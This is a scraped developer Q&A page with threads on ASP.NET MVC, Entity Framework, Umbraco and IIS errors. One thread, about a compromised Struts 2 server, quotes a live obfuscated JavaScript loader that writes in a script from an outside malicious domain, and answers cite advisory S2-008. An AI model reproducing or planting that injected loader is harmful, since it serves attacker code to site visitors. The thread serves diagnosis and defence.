`Unable to load the specified metadata resource` suddenly appears without code changes - asp.net-mvc

PLEASE NOTE: None of the answers in the link above (which I don't seem to be able to remove) helped me. As I explain below, I had already tried all that stuff
I have a web site, developed in VS2013 using ASP.NET MVC5/WebAPI2, which has several related projects such as a service layer, repository layer, etc. Down at the bottom of the stack is a class library that holds an EF model. I have separated the actual entities into another class library, to allow them to be reused without requiring the model library.
All of this has been working fine. The web site was running, and I could make calls to the WebAPI methods as well.
I just uploaded the latest version to the production server, and all is working fine there. Then came back to VS to carry on work, and when I try to run up the web site, I get an exception
Unable to load the specified metadata resource
Searching around, it seems that the cure for this is to modify the connection string to point to the actual assembly name instead of using the default . I have two problems with this, first is that none of the config files in the solution have been touched today (by me at least, and the file history form source control confirms this), so there's no reason why it should suddenly stop working after being deployed, and second, even if I add the assembly name, I get the same exception.
Anyone any ideas what I can do? I'm completely stuffed now. Can't do anything.
Edit: I tried again to specify the assembly in the connection string, and now get the exception Unable to resolve assembly. I have checked the assembly name in a decompiler, and I'm pretty sure got it right.
Edit again: I just pulled the version that I deployed from source control, and that gives the same exception, so I'm sure this is nothing to do with any files I've changed (or even that have been changed by VS). The version on the production server is still working, but the source code that drives that exact same version gives the exception. So, I'm certain that the answer is NOT to be found in the myriad other versions of this question, but is somewhere else.

Found the problem, and am posting it here in the hope that it will help someone else, as I don't think this was clear in any of the other posts on this issue.
I have a layered solution, with the web project referencing a service layer, which references a repository layer which in turn references the model project. It seems to for EF to work, whichever layer actually causes the database to be accessed requires a reference to the model project. My service layer project, which was where ToList() was being called (thus enumerating the query, and causing the database to be hit) didn't have a reference to the model project, so was failing to load the assembly.
I didn't need to alter the metadata part of the connection string either, as once the service layer had a reference to the model project, it was able to find the resources by itself. Having said that, one thing I did learn from all of this is that you can speed up the creation of the model (slightly) by specifying the assembly containing the resources explicitly, as this saves the framework having to search through all loaded assemblies to find them. I'm not sure if this will make any noticeable difference, but it can't harm.
I still can't explain how this had been working up until now, and suddenly stopped, as I hadn't changed any references, nor the way I was doing the data access. Still, it seems to be working now, which is all that matters.
Hope this helps someone.

Related

Umbraco: Restoring content. Could not get parent with Id

I'm working on an Umbraco cloud project. I pulled the website from the git repositories and built it. First thing to do there when you run the site is to restore the content that's in the development environment to the local project so we can create new features. Yet Umbraco fails to do so with the following error:
The source environment has thrown a Umbraco.Deploy.Exceptions.ProcessArtifactException
with message: Process pass #3 failed for artifact
umb://document/xxthexguidxofxsomexpagexxxxxxxxx. It might have been
caused by an inner Umbraco.Deploy.Exceptions.EnvironmentException with
message: Could not get parent with id xxthexxx-guid-xofx-xthe-xxhomepagexx.
The following artifacts might be involved:
umb://document/xxthexxxguidxofxxthexxhomepagexx
The technical details may contain more information.
I've noticed that I some strange errors occur if not everything is deployed in the development site in the cloud. So I made sure everything is published.. Still errors though... I'm kinda lost here.
Has anyone come across simular issues? And how did you fix it?
Thanks in advance?
This can happen for a number of reasons, so it's a bit hard to say what exactly the problem is in your case.
Most of the time this happens due to either a circular reference of some sort causing a state that can't really be restored. For example that could be a datatype having a dependency on a node - but the node doesn't exist in a blank new environment. The content restore then refuses to start until the structural data (datatypes, contenttypes and such) is completely in sync, but the datatypes will never be able to be in sync until the content node exists. It's a sort of catch22 situation that might need to be resolved manually.
I would suggest you contact support through the Cloud portal and they will assist you in getting your problem resolved.

struts 2 bug gaining root access to server

been researching for quite sometime now (research not limited to this site only) but I have not seen any discussion on this "alleged" issue.
My friend told me that they found a critical issue in using struts 2 (2.2.1.1). Told me that a hacker can gain root access to your project's directory. hence he can modify the files in the projects.
I took less notice of it before. But just now, I experienced the same issue.
[Alleged Bug]: Been wondering why, after I deployed my project, all DOM elements whose events are triggered using javascript dont work after sometime. Further investigation, I found out that the jquery lib I uploaded to the server (used jquery-1.3.2.min.js) had been replaced (its content). The filename is the same but the content is something unrecognizable (at least to me), see below:
var _0xfcda=["\x3C\x53\x43\x52\x49\x50\x54\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x61\x64\x73\x6C\x2E\x63\x6F\x6D\x2F\x73\x70\x63\x6F\x64\x65\x2F\x63\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xfcda[1]](_0xfcda[0]);
That's when I remembered what my friend told me. Can somebody confirm if the said bug/issue is legit and explain here what it is all about and how it can be fixed. I think this is a pretty huge glitch.
NOTE: I am pretty sure that the code above is not ours. I checked my local copy, and the code is different and everything is okay in my local. Pretty sure as well that nobody else aside from me, knows the root password of the server.
NOTE: I will use the latest struts 2 release, but I think this issue, if legits, need to be discussed thoroughly as a headsup/reference to the community.
My friend told me that they found a critical issue in using struts 2
(2.2.1.1). Told me that a hacker can gain root access to your
project's directory. hence he can modify the files in the projects.
I think he was referring to one of the vulnerabilities discovered and announced on December 2011.
You can read the details in Security Bulletin S2-008.
Arbitrary File Overwrite in Struts <= 2.3.1 (ParameterInterceptor)
While accessing the flag allowStaticMethodAccess within parameters is
prohibited since Struts 2.2.3.1 an attacker can still access public
constructors with only one parameter of type String to create new Java
objects and access their setters with only one parameter of type
String. This can be abused in example to create and overwrite
arbitrary files. To inject forbidden characters into a filename an
uninitialized string property can be used.
I can't know if this is what happened to you, but it's probably what your friend was talking about.
I will use the latest struts 2 release
Then you have (almost) nothing to worry about... until the next vulnerability get discovered and disclosed, then you will need to upgrade again.
As for every software out there, always use the latest (stable) version.

MVC3 Entity Connection string disappearing

I am having a very frustrating problem with my current project. It is continually losing the connection string binding for Entity models.
I have multiple models for different databases in separate areas and was having no problems. Suddenly now whenever I try to update from the database I get the connection string setup prompt. I select for it to add it to the Web.config with the password but it doesn't ever pick it up there again. They all are still in the web config but it just doesn't see them.
If I remove all the connection strings from the config file it will write the new one there. Then when I try to set up a Stored procedure/Function Import, I still get the statement in the lower box:
No database connection has been configured for this model.
I have tried rebuilding the project and creating the models again from scratch and that works for a while. When I try and bring the project in under Perforce source control, it winds up getting re-corrupted & the connection string goes away. It affects all of my models too.
I am also using EF 4.x DbContext Generator to create context files. They work fine. I am also able to run the application and it connects to the database just fine and returns data. No issues there. I am just unable to update Entity Complex types from the DB or import any more stored procedures.
An even weirder occurrence was that I opened a broken project from a different directory then opened an uncorrupted copy it instantly became broken also. Contagious!
Any thoughts on where to look into to see why this is happening? Has anyone else had this issue?
I seem to have found where the issue is coming from.
I seem to have a bad value somewhere in my web.config which causes the issue. Here is the work around I found did the trick and showed it's the config:
When the binding breaks, I closed the project then swapped out the web.config with one from a good build which was missing a couple keys but worked well enough to bind.
I reopen the the solution and the "No database connection..." error goes away.
Then while the solution is still open I re-swap the web.config back in and it still works.
This is far from optimal but I can work until I figure out the bad value via doing some compares.
I will comment on this again once I determine the exact issue.

Why am I getting the message "The specified request cannot be executed from current Application Pool"?

Quite not sure why I see this error.
I navigate to my Login View like so http://test.staging.com/mywebsite/Login
My Login view was just redone using MVC but I have seen this same error message going to an aspx page as well...
If I use http I get the error message The specified request cannot be executed from current Application Pool.
If I use https://test.staging.com/mywebsite/Login, I'm good.
If I don't specify a protocol, test.staging.com/mywebsite/Login, I get the error as well
Is there an error happening under the covers and my custom error page can't be shown like discussed here?
What are some other causes of this error?
That usually means your custom errors are configured to run as a different AppPool.
You can read more at MSDN. (See section "Using Custom Errors from Another Application Pool").
There are two ways to correct this behavior. The first is possibly not one that you are interested in because it would require you to change your current architecture and run both sites in the same application pool (such as share the same worker process memory space). To do this, simply move the /errors virtual directory to run in the same application pool as the site for which it serves the custom error.
The second way is to make use of a registry key provided by IIS 6.0. This registry key makes sure IIS 6.0 does not check the metadata during the execution of the custom error and therefore allowing this to work.
See the article for information on the registry key fix.
It may also mean that you are using something along the lines of Server.Transfer to a page that is in a different AppPool.
It could be because you're using different versions of ASP.NET for one or many apps in the pool.
Make sure all apps in the pool use the same version of ASP (e.g. ASP 2.0.50727)
If you just added a new app, try changing the app momentarily to a different version of ASP, then back to same version. I experienced an issue where the displayed version was correct, but under the hood, a different version was used!
Check your event log, under Application, to get more details about the error.
The message would be caused by your page server-side redirecting to a page served by another application pool. Such as for example, in your link, the error page.
I know this is an old thread, but I stumbled upon it and found a different solution. Here's what worked for me: Make sure your application handles .asmx files correctly
From IIS:
Right Click on your project > Properties > Configuration
If necessary, add the .asmx file extension that maps to the aspnet_isapi.dll
Limit to: "GET,HEAD,POST,DEBUG" and restart.
Because I can't comment on vcsjones's answer, I'll add it down here. The DWORD value IgnoreAppPoolForCustomErrors needs to be set under HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\ Parameters vs HKLM\SYSTEM\CurrentControlSet\Services\W3SVC referenced in that technet article. Set it to 1 and do an iisreset and you're good to go.
Source Blog Post
In my particular case, I received this error while trying to serve a content (non ASP.NET) website while it was an Application. Right-Clicking the virtual folder and removing the application fixed it for me.
In my case the application used the application pool that didn't exist. I have no idea how it's happened.

Local paths active and causing error to web app. after publish

We're trying to publish our little web app here.
I've done it several times in the past and it worked pretty well.
As the tags states, its a MVC ASP.Net project coded with VS2008.
Other interns worked on that project and we tried to re-publish again and we have this error:
[IndexOutOfRangeException: Index was outside the bounds of the array.]
XXXXXXX.XXXXXXXRepository..ctor() in
E:\XXXXXX\YYYYYYY\ZZZZZZ\XXXXXXXRepository.vb:11
XXXXXXX.HomeController..ctor() in
E:\XXXXXXX\YYYYYY\ZZZZZZ\Controllers\HomeController.vb:10
Problem is, the path pointed here E:\XXXXXXX....*Controller or *Rep is located on the LOCAL machine where the dev. is made. It's as if something was hardcoded directly in our local machines in the Rep.VB and HomeController.VB. It should point in the path where we published the whole project wich is not E:\XXX\YYY\ZZZ
Anyone ever encountered this ?
Thanks alot guys
Have a nice day.
-Tom
That is just information about where to search error in source files, so those paths have nothing to do with error appearance, they just for debugging purposes - if you will compile from your machine, they will change, but error will not dissapear.
Error message indicates, that problem is, that code tries to access array element, which is not there (let's say array has 1 element and program tries to access second one).

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